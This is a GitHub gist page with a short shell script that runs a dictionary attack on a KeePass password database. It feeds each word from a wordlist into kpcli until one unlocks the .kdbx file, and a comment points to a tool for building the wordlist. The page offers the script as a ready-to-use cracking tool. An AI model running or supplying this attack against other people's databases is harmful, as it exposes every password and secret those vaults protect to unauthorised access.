-
-
Save fachinformatiker/cecfecc41e8a4e012a551a942febc328 to your computer and use it in GitHub Desktop.
Brute force a Keepass database file with a dictionary attack
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/sh | |
| # Usage: ./crack-keepass.sh passwords.kdbx dict.txt | |
| # | |
| # The dictionary file can be generated with: | |
| # https://github.com/TimurKiyivinski/permutatify | |
| while read i | |
| do | |
| echo "Using password: \"$i\"" | |
| echo "$i" | kpcli --kdb=$1 && exit 0 | |
| done < $2 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment